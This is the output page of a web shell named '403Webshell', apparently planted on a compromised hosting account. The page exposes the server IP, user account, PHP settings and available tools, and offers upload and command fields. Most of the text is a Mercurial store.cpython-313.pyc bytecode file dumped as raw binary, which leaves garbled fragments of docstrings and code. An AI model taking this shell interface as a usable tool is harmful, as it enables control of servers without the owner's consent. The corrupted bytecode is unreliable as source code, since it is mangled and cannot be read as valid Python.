403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/store.cpython-313.pyc
�

6�h�����SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKJrJ	r	J
r
Jr SSKJ
r
 SSKJr \R (aSSKrSSKJr SSKJrJrJrJr SS	KJrJrJrJrJrJrJr J!r!J"r# SS
K$J%r% \RL"S5r'Sr(SCSjr)Sr*\+"\'S\*5r,Sr-SDSjr.Sr/\/"5ur0r1Sr2Sr3Sr4\+"\'SS5=(d \4"5r5Sr6Sr7Sr8Sr9Sr:S\:S--S-
r;Sr<Sr=S r>\+"\'S!\>5r>S"r?S#r@/S$QrAS%rBS&rCS'rD\R�"S(5rFS)rGS*rH\R�"S+S,9"S-S.55rJ\R�"S+S/S09"S1S
55rK\R�"S+S/S09"S2S3\K55rL\R�"S+S/S09"S4S5\K55rMS6rNS7rOS8rP"S9S:5rQ"S;S<\Q5rR"S=S>5rS"S?S@\#R�5rU"SASB\Q5rVg)E�)�annotationsN)�	Generator�Iterator�List�Optional�)�_)�attr)�hex)�INDEX_HEADER�KIND_CHANGELOG�KIND_FILELOG�KIND_MANIFESTLOG)	�	changelog�error�filelog�manifest�policy�pycompat�revlog�util�vfs)�hashutil�parsersi@B�BaseStoreEntryc��UcgUR(aU"UR5$UR(a*URURR	S55$[
R"SU-5e)z�parses a fncache entry and returns whether the entry is tracking a path
matched by matcher or not.

If matcher is None, returns TrueT�/scannot process entry %r)�
is_filelog�	target_id�is_manifestlog�visitdir�rstripr�ProgrammingError)�entry�matchers  �1/usr/lib/python3/dist-packages/mercurial/store.py�_match_tracked_entryr':sf�����
����u���'�'�	�	�	������� 6� 6�t� <�=�=�
�
 �
 �!;�e�!C�
D�D�c�f�URSS5RSS5RSS5$)a)
>>> _encodedir(b'data/foo.i')
'data/foo.i'
>>> _encodedir(b'data/foo.i/bla.i')
'data/foo.i.hg/bla.i'
>>> _encodedir(b'data/foo.i.hg/bla.i')
'data/foo.i.hg.hg/bla.i'
>>> _encodedir(b'data/foo.i\ndata/foo.i/bla.i\ndata/foo.i.hg/bla.i\n')
'data/foo.i\ndata/foo.i.hg/bla.i\ndata/foo.i.hg.hg/bla.i\n'
�.hg/�.hg.hg/�.i/�.i.hg/�.d/�.d.hg/��replace��paths r&�
_encodedirr4Qs/��	
���W�j�)�	����	#�	����	#�r(�	encodedirc�v�SU;aU$URSS5RSS5RSS5$)z�
>>> decodedir(b'data/foo.i')
'data/foo.i'
>>> decodedir(b'data/foo.i.hg/bla.i')
'data/foo.i/bla.i'
>>> decodedir(b'data/foo.i.hg.hg/bla.i')
'data/foo.i.hg/bla.i'
r*r/r.r-r,r+r0r2s r&�	decodedirr7fs<���d�������Y��'�	���F�	#�	���W�	%�r(c#�# �SVs/sHn[U5PM nn[S5Shv�N [SS5Shv�N UShv�N gs snfN(NN7f)z�characters that are problematic for filesystems

* ascii escapes (0..31)
* ascii hi (126..255)
* windows specials

these characters will be escaped by encodefunctions
z\:*?"<>|� N�~�)�ord�range)�x�winreserveds  r&�	_reservedr@xsR���$/�/�;�a�3�q�6�;�K�/��R�y����S�#��������0����s=�A�A�A�A�A�A�	A�
A�A�A�Ac�^^^	�Sn[Rn[[U[	S555n[[	[S5[S5S-55nUVs0sHoDU_M snm[
5HnSU-TU"U5'M U[U5/-H$nX"U5R5-TU"U5'M& 0m	TR5H
upVUT	U'M U	4SjmU4SjU4S	j4$s snf)
a�
>>> enc, dec = _buildencodefun()

>>> enc(b'nothing/special.txt')
'nothing/special.txt'
>>> dec(b'nothing/special.txt')
'nothing/special.txt'

>>> enc(b'HELLO')
'_h_e_l_l_o'
>>> dec(b'_h_e_l_l_o')
'HELLO'

>>> enc(b'hello:world?')
'hello~3aworld~3f'
>>> dec(b'hello~3aworld~3f')
'hello:world?'

>>> enc(b'the\x07quick\xADshot')
'the~07quick~adshot'
>>> dec(b'the~07quick~adshot')
'the\x07quick\xadshot'
�_��A�Zr�~%02xc3��># �SnU[U5:a;[SS5HnTXX-v� X-
n O [eU[U5:aM:gg![a M=f=f7f)Nrr�)�lenr=�KeyError)�s�i�l�dmaps   �r&�decode�_buildencodefun.<locals>.decode�sm����
���#�a�&�j��1�a�[����q�Q�U�|�,�,��F�A��	!����#�a�&�j�� ����s-�!A"�A�A"�A"�
A�A"�A�A"c
�>�SR[[U55Vs/sH
nTXUS-PM sn5$s snf)Nr(r)�joinr=rI�rK�c�cmaps  �r&�<lambda>�!_buildencodefun.<locals>.<lambda>�s5���#�(�(��c�!�f�
�F�
�1�D��q�1�u��.�
�F�G��Fs�>c�D>�SR[T"U555$�Nr()rR�list)rKrOs �r&rVrW�s���#�(�(�4��q�	�?�+r()	r�bytechrrZ�mapr=r<r@�lower�items)
�e�xchr�asciistr�capitalsr>�k�vrUrOrNs
       @@@r&�_buildencodefunre�s����0	
�A����D��C��e�C�j�)�*�H��E�#�d�)�S��Y��]�3�4�H�"�#�(�Q�q�D�(�#�D�
�[�� �1���T�!�W�
��
��Q���
 ���D��G�M�M�O�+��T�!�W�
�!��D��
�
������Q����	H�+����/$s�"C9c�*�[[U55$)zr
>>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
)�_encodefnamer5�rKs r&�encodefilenameri�s��
�	�!��%�%r(c�*�[[U55$)zr
>>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
'foo.i/bar.d/bla.hg/hi:world?/HELLO'
)r7�_decodefnamerhs r&�decodefilenamerl�s��
�\�!�_�%�%r(c�Z^�[Rn[S5Vs0sHo"U5U"U5_M snm[5HnSU-TU"U5'M [[	S5[	S5S-5H"nU"U5R5TU"U5'M$ U4SjnU$s snf)z�
>>> f = _buildlowerencodefun()
>>> f(b'nothing/special.txt')
'nothing/special.txt'
>>> f(b'HELLO')
'hello'
>>> f(b'hello:world?')
'hello~3aworld~3f'
>>> f(b'the\x07quick\xADshot')
'the~07quick~adshot'
rCrFrDrErc�>�SR[R"U5Vs/sHnTUPM
 sn5$s snfrY)rRr�iterbytestrrSs  �r&�lowerencode�)_buildlowerencodefun.<locals>.lowerencode�s5����x�x�(�*>�*>�q�*A�B�*A�Q��a��*A�B�C�C��Bs�;)rr[r=r@r<r])r`r>rprUs   @r&�_buildlowerencodefunrr�s�������D�&+�C�j�1�j��D��G�T�!�W��j�1�D�
�[�� �1���T�!�W�
��
�3�t�9�c�$�i�!�m�
,���Q��
�
���T�!�W�
�-�D����2s�B(rp)sauxsconsprnsnul)scomslptc���[U5H�up#U(dMU(a%USS;aS[USS5-USS-nX0U'O}URS5nUS:Xa[U5nUS:Xa
USS[;d%US	:XaBUSS	S
::a9USS	S:�a0USS[
;a#S[USS5-nUSSU-USS-nX0U'USS;dM�USSS[USS5--X'M� U$)
a�
Encodes filenames containing names reserved by Windows or which end in
period or space. Does not touch other single reserved characters c.
Specifically, c in '\:*?"<>|' or ord(c) <= 31 are *not* encoded here.
Additionally encodes space or period at the beginning, if dotencode is
True. Parameter path is assumed to be all lowercase.
A segment only needs encoding if a reserved name appears as a
basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
doesn't need encoding.

>>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
>>> _auxencode(s.split(b'/'), True)
['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
>>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
>>> _auxencode(s.split(b'/'), False)
['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
>>> _auxencode([b'foo. '], True)
['foo.~20']
>>> _auxencode([b' .foo'], True)
['~20.foo']
r�. rFrN�.����rH�9�1�)�	enumerater<�findrI�_winres3�_winres4)r3�	dotencoderL�nrM�ecs      r&�
_auxencoder��s��,�$��������1�����3�q��1�v�;�&��1�2��.�A���G����t��A��B�w���F���Q��1�R�a�5�H�,��Q���a��F�d�N��a��F�d�N��b�q�E�X�%���A�a��F��+���a��F�R�K�!�A�B�%�'���Q���R�5�E�>����f�x�#�a���f�+�5�5�D�G�- �.�Kr(�x�rHc��[[R"U5R55n[	USS5RS5n[
X15nUSn[RRU5upg/nSn	USSH_n
U
S[nUSS;aUSSS-nU	S:Xa[U5nOU	S-[U5-nU[:�a OURU5 Un	Ma SRU5n
[U
5S:�aU
S-
n
SU
-U-U-n[[U5-
nUS:�aUSUnSU
-U-U-U-nU$)	N�rrvrrtrBrsdh/)rr�sha1�digestrp�splitr��osr3�splitext�
_dirprefixlenrI�_maxshortdirslen�appendrR�_maxstorepathlen)r3rr��le�parts�basename�_root�ext�sdirs�sdirslen�p�d�t�dirs�res�	spaceleft�fillers                 r&�_hashencoder�)sU��
����t�$�+�+�-�
.�F�	�T�!�"�X�	�	$�	$�T�	*�B��r�%�E��R�y�H����!�!�(�+�J�E��E��H�
�3�B�Z��
�n�}����R�5�E�>��#�2���
�A��q�=��A��A��1��s�1�v�%�A��#�#��
���Q������9�9�U��D�
�4�y�1�}�����
�4�-�&�
 �3�
&�C� �3�s�8�+�I��1�}��*�9�%���t�m�f�$�v�-��3���Jr(c��[U5n[U5RS5nSR[	X!55n[U5[:�a[X5nU$)a	encodes path with a length limit

Encodes all paths that begin with 'data/', according to the following.

Default encoding (reversible):

Encodes all uppercase letters 'X' as '_x'. All reserved or illegal
characters are encoded as '~xx', where xx is the two digit hex code
of the character (see encodefilename).
Relevant path components consisting of Windows reserved filenames are
masked by encoding the third character ('aux' -> 'au~78', see _auxencode).

Hashed encoding (not reversible):

If the default-encoded path is longer than _maxstorepathlen, a
non-reversible hybrid hashing of the path is done instead.
This encoding uses up to _dirprefixlen characters of all directory
levels of the lowerencoded path, but not more levels than can fit into
_maxshortdirslen.
Then follows the filler followed by the sha digest of the full path.
The filler is the beginning of the basename of the lowerencoded path
(the basename is everything after the last path separator). The filler
is as long as possible, filling in characters from the basename until
the encoded path has _maxstorepathlen characters (or all chars of the
basename have been taken).
The extension (e.g. '.i' or '.d') is preserved.

The string 'data/' at the beginning is replaced with 'dh/', if the hashed
encoding was used.
r)r5rgr�rRr�rIr�r�)r3r�efr�s    r&�
_hybridencoder�IsQ��>�T�?�D�	�d�	�	!�	!�$�	'�B�
�)�)�J�r�-�
.�C�
�3�x�"�"��$�*���Jr(c��[U5n[U5[:�a[US5$[	U5RS5nSR
[US55n[U5[:�a[US5$U$)NTr)r5rIr�r�rgr�rRr�)r3�der�r�s    r&�_pathencoder�psn��	�4��B�
�4�y�#�#��2�t�$�$�	�b�	�	�	��	%�B�
�)�)�J�r�4�(�
)�C�
�3�x�"�"��2�t�$�$��Jr(�
pathencodec��[US5$�NF)r���fs r&�_plainhybridencoder�~s����E�"�"r(c��UR5RnS[R)-SU-:XaSnU$![a SnU$f=f)Ni�)�stat�st_moder�umask�OSError)r�modes  r&�	_calcmoder��sV����x�x�z�!�!���T�Z�Z�K��U�T�\�2��D��K�������K��s�7;�A�
A)�	bookmarks�
narrowspec�data�meta�00manifest.d�00manifest.i�
00changelog.d�
00changelog.i�
phaseroots�obsstore�requires)�.i�.idx�.d�.dat�.n�.nd�.sda)r�r�r�r�)r�r�s.*undo\.[^/]+\.(nd?|i)$c�d�U[R:wagUR[5(agg)NFT)r��S_IFREG�endswith�REVLOG_FILES_EXT)r��kind�sts   r&�	is_revlogr��s'���t�|�|����z�z�"�#�#��r(c�:�UR[5(agg�NTF)r�r�r�s r&�is_revlog_filer��s���z�z�"�#�#��r(T)�slotsc��\rSrSrSr\R"5r\R"SS9r\R"SS9r	Sr
Sr\S5r
SrS	rg)
�	StoreFilei�za file matching a store entryN��defaultFc�8�URc`Uc&SnX R-n[R"U5eUR	UR5R
UlUR$UR$![a SUlUR$f=f)Ns1calling vfs-less file_size without prior call: %sr)�
_file_size�unencoded_pathrr#r��st_size�FileNotFoundError)�selfr�msgs   r&�	file_size�StoreFile.file_size�s����?�?�"��{�J���*�*�*���,�,�S�1�1�
$�"%�(�(�4�+>�+>�"?�"G�"G�������t�����%�
$�"#�������
$�s�*A:�:B�Bc��URSL$�N�r��r�s r&�has_size�StoreFile.has_size�s�����d�*�*r(c�^^^^�TRS5mUUUU4SjnU"5n[U5 TRUT4$)zfreturn data "stream" information for this file

(unencoded_file_path, content_iterator, content_size)
Nc3�># �TRTR5nTRU5nSv� TS::aURT5v� O[R
"UTS9Shv�N SSS5 gN
!,(df   g=f7f)N���limit)rRr��open�readr�
filechunkiter)r3�fpr��sizer�	volatiless  ����r&�
get_stream�(StoreFile.get_stream.<locals>.get_stream�sn�����8�8�D�/�/�0�D�����%���
��5�=��'�'�$�-�'�#�1�1�"�D�A�A�A�&�%�
B�&�%�s.�-B�7A7�'A5�(A7�,	B�5A7�7
B�B)r��nextr�)r�rr�r�rKr�s```  @r&r��StoreFile.get_stream�sB���
�~�~�d�#��	B�	B�
�L���Q���#�#�Q��-�-r(r�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
�ibr�r��is_volatile�optionalr��propertyr�r��__static_attributes__�r(r&r�r��sQ��'��W�W�Y�N�����&�J��'�'�%�(�K��H�
��+��+�.r(r�F)r��initc�@�\rSrSrSrSrS	SjrS
SjrSrSr	g)ri�z]An entry in the store

This is returned by `store.walk` and represent some data in the store.Tc��[er�)�NotImplementedErrorr�s r&�files�BaseStoreEntry.files�s��!�!r(Nc�t�UceUR5Vs/sHofRX#5PM sn$s snf)u�return a list of data stream associated to files for this entry

return [(unencoded_file_path, content_iterator, content_size), …]
)rr�)r��reporr��
max_changeset�preserve_file_countr�s       r&�get_streams�BaseStoreEntry.get_streamss3������6:�j�j�l�C�l����S�,�l�C�C��Cs�5c��UR(aLUR5H7nUR(dMU"URUR55 M9 gg)z�Use a VolatileManager to preserve the state of any volatile file

This is useful for code that need a consistent view of the content like stream clone.
N)�maybe_volatilerr�rRr�)r�rr�r�s    r&�preserve_volatiles�!BaseStoreEntry.preserve_volatilessB��
����Z�Z�\���=�=�=��c�h�h�q�'7�'7�8�9�"�r(r���returnzList[StoreFile]�NNNNF)
r�r�r�r�r�r	rrr
r�r�r(r&rr�s0��N��N�"�
����!�

D�:r(c��^�\rSrSrSrSr\R"5r\R"5r	\R"SS9r
\R"SS9r\R"SS9rS	U4Sjjr
S
SjrSrU=r$)�SimpleStoreEntryizA generic entry in the storeFr�Nc�`>�[TU]5 XlX lX0lSUlX lgr�)�super�__init__�_entry_path�_is_volatiler��_filesr	)r��
entry_pathr�r��	__class__s    �r&r�SimpleStoreEntry.__init__'s.���	����%��'��#�����)�r(c��URc/[URURURS9/UlUR$)N)r�r�r�)rr�rr�rr�s r&r�SimpleStoreEntry.files4sB���;�;���#'�#3�#3�"�o�o� $� 1� 1���D�K��{�{�r()rr�rrr	)FNr)r�r�r�r�r�r�r
r�r	rrr�rrrr��
__classcell__�rs@r&rrsb���&��I��W�W�Y�N��'�'�)�K��7�7�5�)�L�����&�J�
�W�W�T�
"�F�
��	*�	�	r(rc�P^�\rSrSrSrSr\R"SS9r\R"SS9r	\R"SS9r
\R"SS9r\R"SS9r\R"SS9r
U4Sjr\S5r\S5r\S	5rS
rSSjrSU4SjjrS
rSrU=r$)�RevlogStoreEntryi@zA revlog entry in the storeTNr�c��>�[TU]5 XlX0lX lSU;dX$45eUH&nUR[5(dMSUl O	 SUlX@lSUl	g)Nr�TF)
rr�revlog_typer�_path_prefixr��REVLOG_FILES_VOLATILE_EXTr	�_detailsr)r�r!�path_prefixr�detailsr�rs      �r&r�RevlogStoreEntry.__init__Msr���	����&��"��'�����7�+�!7�7���C��|�|�5�6�6�&*��#���
#(�D���
���r(c�(�UR[:H$r�)r!r
r�s r&�is_changelog�RevlogStoreEntry.is_changelogbs�����>�1�1r(c�(�UR[:H$r�)r!rr�s r&r �RevlogStoreEntry.is_manifestlogfs�����#3�3�3r(c�(�UR[:H$r�)r!rr�s r&r�RevlogStoreEntry.is_filelogjs�����<�/�/r(c� �URS-$)z&unencoded path of the main revlog filer�)r"r�s r&�main_file_path�RevlogStoreEntry.main_file_pathns��� � �5�(�(r(c�4�URc�/Ul[UR[S9H]nURU-nURUnUR[5n[X#U5nURRU5 M_ UR$)N)�key)	r�sortedr$�_ext_keyr"r�r#r�r�)r�r�r3r��volatiler�s      r&r�RevlogStoreEntry.filesrs����;�;���D�K��d�m�m��:���(�(�3�.�� �M�M�#�.�	��<�<�(A�B���d�x�8�����"�"�1�%�;��{�{�r(c�>^^�[SUR555nU(aVUbBUb?[SURR	555(dSUR;a[
TU]UUUUUS9$U(d�UR5Vs/sH6nURRS5(aM%URX#5PM8 nnURU5R5n	U	R
U5n
URU
5 U$0nUR5H nURS5X�R'M" UR5Vs/sH6nURRS5(aM%URX#5PM8 nnURS-nSmU"U5mTR[ R"5n
[$R&R)U
5(a3X�mUU4SjnU"5n[+U5 SmUR-X�T45 O�URU5R5n	U	R
USS	9n
U
HVunnmUR/US
5T:wdM[1S5nUUR/US
5TU4-n[2R4"U5e URU
5 TbTR75 UR5n[9U5[9U5:XdUUURUR:45eU$s snfs snf!TbTR75 ff=f)Nc3�8# �UHoRv� M g7fr�)r���.0r�s  r&�	<genexpr>�/RevlogStoreEntry.get_streams.<locals>.<genexpr>�s���9�L�q�
�
�L�s�c3�B# �UHoRS5v� M g7f)r�N�r�)r;rcs  r&r<r=�s���E�0D�1�:�:�g�&�&�0D�s�r�)rrr�rr)r�r�r�c3�># �TnURS5 Sv� TS::aURT5v� O[R"UTS9Shv�N UR	5 gN!UR	5 f=f7f)Nrr�r�)�seekr�rr��close)r��
index_filer�s ��r&r��0RevlogStoreEntry.get_streams.<locals>.get_stream�sd����#�B�#�����
�"�
��5�=�"$�'�'�$�-�/�'+�'9�'9�"�D�'I�I�I����
�J�����
�s/�A;�AA&�A$�A&�A;�$A&�&A8�8A;T)�force_inliners(expected %d bytes but %d provided for %s)�allr�anyr$�keysrrr�r�r��get_revlog_instance�
get_revlog�extendr�r"r�rr��	revlogmodr�is_inline_indexr�r��getr	r�AbortrBrIr)r�rrr�rr�	pre_sizedr��stream�rl�	rl_stream�name_to_size�
index_path�headerr�rK�namer�rrCr�rs                   @@�r&r�RevlogStoreEntry.get_streams�s����9�D�J�J�L�9�9�	���L��$��E��
�
�0B�0B�0D�E�E�E���
�
�%��7�&���#�+�$7�'��
�%������%�A��'�'�0�0��@�-����S�,�%�
��
�)�)�$�/�:�:�<�B����}�5�I��M�M�)�$��M�������A�-.�[�[��->�L�)�)�*��
�Z�Z�\�
�!���#�#�,�,�U�3�
)�A�L�L��(�!�	�
��&�&��.�
��
�"	#��Z��J��_�_�\�%6�%6�7�F����/�/��7�7�#�/��
#��L���Q��!�
��
�
�z�d�3�4��-�-�d�3�>�>�@���N�N�=�t�N�L�	�%.�M�D�!�T�#�'�'��a�0�D�8�� K�L���|�/�/��a�8�$��D�D��#�k�k�#�.�.�	&/�
�
�
�i�(��%�� � �"��
�
����6�{�c�%�j�(�	
�������N�N�	+
�	
�(��
��E��
��T�%�� � �"�&�s,�$L+�L+�$$L0�L0�5C
L5�AL5�5Mc�H�UR(a [R"UR5$UR(a6URn[
R"URURUS9$[R"URUR5$)zbObtain a revlog instance from this store entry

An instance of the appropriate class is returned.
)�tree)	r)r�svfsr rr�manifestrevlog�
nodeconstantsr)r�r�mandirs   r&rI�$RevlogStoreEntry.get_revlog_instance�ss��
����&�&�t�y�y�1�1�
�
 �
 ��^�^�F��*�*��"�"�D�I�I�F��
��?�?�4�9�9�d�n�n�=�=r()r$rr"r	r!rrr)r�r�r�r�r�r�r
r�r!rr	r"r$rrr�r)r rr0rrrIr�rrs@r&rr@s����%��I��'�'�$�'�K�����%�I��W�W�T�*�N��7�7�4�(�L��w�w�t�$�H�
�W�W�T�
"�F��*�2��2��4��4��0��0�)��$����!�
[�z
>�
>r(rc��[R"[5nUHup#[U5upEX1UU'M [	UR55$)z�group files per revlog prefix

The returns a two level nested dict. The top level key is the revlog prefix
without extension, the second level is all the file "suffix" that were
seen for this revlog and arbitrary file data as value.
)�collections�defaultdict�dict�_split_revlog_extr4r^)�
files_data�revlogs�u�valuerWr�s      r&�_gather_revlogri�sK���%�%�d�+�G����%�a�(�	��"��
�c����'�-�-�/�"�"r(c�t�UR[5(aSnOSnURU5nUSUXS4$)z8split the revlog file prefix from the variable extension�-ruN)r��REVLOG_FILES_LONG_EXT�rfind)�filename�char�idxs   r&rdrd�sA�����.�/�/�����
�.�.��
�C��D�S�>�8�D�>�)�)r(c���URS5(aSU4$URS5(aSU4$URS5(aSU4$URS5(aSU4$S	U4$)
zFa key to order revlog suffix

important to issue .i after other entry.r�rr��
r��r��2�(r?)r�s r&r5r5sq��
�|�|�E����3�x��	���f�	�	��C�y��	���e�	�	��C�y��	���e�	�	��C�y���C�y�r(c��\rSrSrSrSrSrSSjrSSjrSSjr	SSS	jjr
SSS
jjrSSSjjrSr
S
rSrSrSrSrg)�
basicstoreiz&base class for local repository storesc���U"U5nURUl[U5UlURUlX0l[
R"U[5UlURUl	gr�)
�baser3r��
createmode�rawvfs�vfsmod�	filtervfsr5r�opener�r�r3�vfstypers    r&r�basicstore.__init__sP���d�m���H�H��	�#�C�.�����������#�#�C��3����h�h��r(c�8�URS-[U5-$�Nr)r3r5�r�r�s  r&rR�basicstore.join$s���y�y�4��)�A�,�.�.r(Nc�v�URnU(aUSU--
n[UR5S-n/nURRU5(a�U/nURRnU(a�UR5n	U"U	SS9H�up�nU	S-U
-n
[
X�U5(a@[R"X�S5nUR[U5UR45 M_U[R:XdMuU(dM~URU
5 M� U(aM�UR5 U$)z%yields (revlog_type, unencoded, size)rrT)r�N)r3rIr{�isdir�readdir�popr�r�pconvertr�r7r�r��S_IFDIR�sort)r��relpath�recurse�undecodabler3�striplenrM�visitr�r�r�r�r�r�r�s               r&�_walk�basicstore._walk's����y�y����D�7�N�"�D��t�y�y�>�A�%�����;�;���T�"�"��F�E��k�k�)�)�G���I�I�K��#*�1�4�#8�K�A�R��T��A��B� ��"�-�-� �M�M�"�Y�-�8�����)�A�,��
�
�!;�<�����-�'�'����R�(�
$9��%�	
�����r(c�B�[R"URUUS9$)N)�
trypending�concurrencychecker)rr)r�r�r�s   r&r�basicstore.changelog>s"���"�"��H�H�!�1�
�	
r(c��[R"URUR5n[R"URXU5$r�)rr\r]r�manifestlog)r�r�storenarrowmatch�	rootstores    r&r��basicstore.manifestlogEs8���+�+�D�,>�,>����I�	��#�#�D�H�H�d�?O�P�Pr(c	#�&# �S[S4S[S4/nUHuupEnURUSUS9n[U5HOup�UR	SS5Sn
U(a SU;aU
RSS5Sn
U
S-
n
[
UUU
U	S	9v� MQ Mw g
7f)aLike walk, but excluding the changelog and root manifest.

When [undecodable] is None, revlogs names that can't be
decoded cause an exception. When it is provided, it should
be a list and the filenames that can't be decoded are added
to it instead. This is very rarely needed.r�Fr�T�r�rrr�r%r!rr&N)rrr�rir��rsplitr)r�r%r�r��base_dir�rl_type�strip_filenamerrr&�revlog_target_ids           r&�data_entries�basicstore.data_entriesIs�����l�E�*�
�&��-�
��26�-�H�~��J�J�x��;�J�G�E�#1�%�#8���#)�<�<��a�#8��#;� �!�d�f�n�'7�'>�'>�t�Q�'G��'J�$�$��,�$�&� &� '�.�#�	��$9�26�s�BBc	#�0# �U(a,URRS5(a[SSS9v� U(a,URRS5(a[SSS9v� [UR	SS55n[
R"[5n[
R"[5nUHjupgURS5(a[U5up�XtUU	'M1URS5(a[U5up�XuUU	'M][USUS	9v� Ml U[4U[4/n
[U5S
::de[U5S
::deU
H5up�[UR55Hup�[U
USUS9v� M M7 g7f)Nr�T)rr�r�r(Fs00changelogs
00manifest)rr�r�rr�)r�existsr�reversedr�rarbrc�
startswithrdrr
rIr4r^r)r��phase�obsolescencer�
changelogs�manifestlogsrgrKrWr��top_rl�datar!rr&s               r&�top_entries�basicstore.top_entriesds�����T�X�X�_�_�]�3�3�"�(� ��
�
�D�H�H�O�O�K�8�8�"�&� ��
�
����C��/�0�� �,�,�T�2�
�"�.�.�t�4���D�A��|�|�N�+�+�-�a�0�	��()�4� ��%����m�,�,�-�a�0�	��*+�T�"�3�'�&� � %������+�,�
��(�
���<� �A�%�%�%��:��!�#�#�#�!'��D�#)�$�*�*�,�#7���&� &� +�!�#�	��$8�"(�s�FFc#�t# �URU5Shv�N URX#S9Shv�N gNN7f)z�return files related to data storage (ie: revlogs)

yields instance from BaseStoreEntry subclasses

if a matcher is passed, storage files of only those tracked paths
are passed with matches the matcher
N)r�r�)r�r�)r�r%r�r�s    r&�walk�basicstore.walk�s:����$�$�W�-�-�-��#�#�%�#�K�K�K�	.�K�s�8�4�8�6�8�8c��[$r���_datar�s r&�copylist�basicstore.copylist�s���r(c��gr�r��r��trs  r&�write�basicstore.write����r(c��gr�r�r�s r&�invalidatecaches�basicstore.invalidatecaches�r�r(c��gr�r��r��fns  r&�markremoved�basicstore.markremoved�r�r(c���SRSU45nURRUS-5(agURS5(dUS-nURRU5$)�!Checks if the store contains pathrr�r�T)rRrr�r��r�r3s  r&�__contains__�basicstore.__contains__�sY���y�y�'�4��)���8�8�?�?�4�%�<�(�(���}�}�T�"�"��$�;�D��x�x���t�$�$r(�rzr~r3r{rr�)r
zmanifest.manifestlog�NN�r
z%Generator[BaseStoreEntry, None, None])FF)NFF)r�r�r�r�r�rrRr�rr�r�r�r�r�r�r�r�r�r�r�r(r&rwrwsq��0��/��.
�Q�
)-��	.��8).�0�	.�0�f7<�L�	.�L��
�
�
�	%r(rwc�V^�\rSrSrSrSU4SjjrS	S
U4SjjjrSrSrSr	U=r
$)�encodedstorei�c���U"US-5nURUl[U5UlURUlX0l[
R"U[5UlURUl	g)N�/store)
ryr3r�rzr{r|r}rirr~rs    r&r�encodedstore.__init__�sV���d�Y�&�'���H�H��	�#�C�.�����������#�#�C��8����h�h��r(c�>�[T
U]X5n/nUH#upg[U5nURX�45 M% U$![a< Uc$[	S5U-n	[
R"U	5eURU5 Mnf=f)Nsundecodable revlog name %s)rr�rlrJr	r�StorageErrorr�)r�r�r�r��old�new�f1rh�f2r�rs          �r&r��encodedstore._walk�s�����g�m�G�-�����I�B�
�#�B�'��
�J�J��{�#���
���
��&��9�:�R�?�C��,�,�S�1�1��&�&�r�*��

�s�>�AB�Bc#�f># �[TU]US9nUHn[XA5(dMUv� M g7f)Nr�)rr�r')r�r%r��entriesr$rs     �r&r��encodedstore.data_entries�s4�����'�&�;�&�?���E�#�E�3�3����s�!1�	1c�8�URS-[U5-$r�)r3rir�s  r&rR�encodedstore.join�s���y�y�4��.��"3�3�3r(c�J�SS/[Vs/sHnSU-PM
 sn-$s snf)Nr�r��store/r�r�s  r&r��encodedstore.copylist�s)���-�.��1O��A�)�a�-��1O�O�O��1Os� r�r�r�r�)r�r�r�r�rr�r�rRr�r�rrs@r&r�r��s5�����")-��	.���4�P�Pr(r�c�h�\rSrSrSr\S5rSSjrSSjrSr	Sr
S	rS
rSr
SrS
rSrg)�fncachei�c�h�Xl[5UlSUlSUl[5Ulgr�)r�set�_ignoresr��_dirty�addls)r�rs  r&r�fncache.__init__�s'�������
��������U��
r(c��URSL$r�)r�r�s r&�	is_loaded�fncache.is_loaded�s���|�|�4�'�'r(Nc�J�UR(dURU5 gg)z�read the fncache file if not already read.

If the file on disk is corrupted, raise. If warn is provided,
warn and keep going instead.N)r��_load)r��warns  r&�ensureloaded�fncache.ensureloaded�s��
�~�~��J�J�t��r(c	��SUlURSSS9n[5UlSn[[R"UR[5S5HXnX4-
nURS5nURR[USUS-5R55 X5S-SnMZ U(a<[S	5nU(aU"US-5 O[ R""U[S
5S9eUR%X!5 UR'5 g![a [5Ulgf=f![a M�f=f)z&fill the entries from the fncache fileF�fncache�rb)r�Nr(�
rs$fncache does not ends with a newlines3use 'hg debugrebuildfncache' to rebuild the fncache)�hint)r�rr�r�r��iter�	functools�partialr��fncache_chunksize�rindex�updater7�
splitlines�
ValueErrorr	rrO�
_checkentriesrB)r�r�r��chunkrTr�r�s       r&r��
fncache._load�s0�����	����*�5��1�B��u������i�'�'����1B�C�S�I�A��J�E�
��L�L��'�����#�#�I�e�G�a�!�e�n�$=�$H�$H�$J�K��!�e�g���J���;�<�C���S�5�[�!��k�k���/����	
���2�$�
���
��?�	��5�D�L��	���
��
�s$�D�!AD9�D6�5D6�9
E�Ec��SUR;awURS5 [U5HVup4URS5(aM[	S5US--nU(a
U"US-5 MB[
R"U5e gg)z-make sure there is no empty string in entriesr(rr�s!invalid entry in fncache, line %drN)r�rAr{r"r	rrO)r�r�r�r��liner�s      r&r�fncache._checkentries"sm���$�,�,���G�G�A�J�$�R�=����{�{�5�)�)��>�?�1�q�5�I�A���Q��Y��#�k�k�!�n�,�
)�r(c���UR(a�UR(deURUR-Ul[	5UlURS5 UR
SSSS9nUR(a6UR[SRUR5S-55 UR5 SUlUR(a�URS5 UR
SSSS9nUR(a6UR[SRUR5S-55 UR5 SUl[	5Ulgg)Nr�swbT)r��
atomictempr�Fsab)r�r�r�r�r��	addbackuprr�r5rRrB)r�r�r�s   r&r��
